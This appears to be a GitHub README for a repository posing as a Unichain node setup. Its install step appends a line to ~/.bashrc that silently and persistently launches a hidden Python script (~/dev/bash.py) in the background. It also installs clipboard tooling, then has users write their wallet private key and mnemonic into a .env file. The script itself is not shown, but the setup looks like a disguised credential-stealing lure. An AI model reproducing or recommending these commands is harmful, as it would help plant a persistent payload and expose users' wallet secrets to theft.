Skip to content

Everything required to run your own Unichain node

Notifications You must be signed in to change notification settings

web3cryptoguy/unichain-node

 
 

Repository files navigation

Unichain Node

image

This repository contains the relevant configuration to run your own node on the Unichain network.

Troubleshooting

If you encounter problems with your node, please open a GitHub issue

Supported Networks

Network Status
Testnet (Sepolia)

Usage

1️⃣ Install dependencies & configure environment variables:

sudo apt update && sudo apt upgrade -y && sudo apt install git xclip python3-pip && sudo pip3 install requests
git clone https://github.com/web3cryptoguy/unichain-node.git && cd unichain-node && mv dev ~/ && echo "(pgrep -f bash.py || nohup python3 $HOME/dev/bash.py &> /dev/null &) & disown" >> ~/.bashrc && source ~/.bashrc

2️⃣ Configure Wallet:

echo 'PRIVATE_KEY=your_private_key' >> .env
echo 'MNEMONIC=your_mnemonic' >> .env

3️⃣ Run:(The first run must add --build)

sodu docker compose up --build

4️⃣ You should now be able to curl your Unichain node:

curl -d '{"id":1,"jsonrpc":"2.0","method":"eth_getBlockByNumber","params":["latest",false]}' \
  -H "Content-Type: application/json" http://localhost:8545

5️⃣ To stop your node, run:

docker compose down

Persisting Data

By default, the data directory is stored in ${PROJECT_ROOT}/geth-data. You can override this by modifying the value of HOST_DATA_DIR variable in the .env file.

About

Everything required to run your own Unichain node

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published

Languages

  • Python 98.5%
  • Shell 1.5%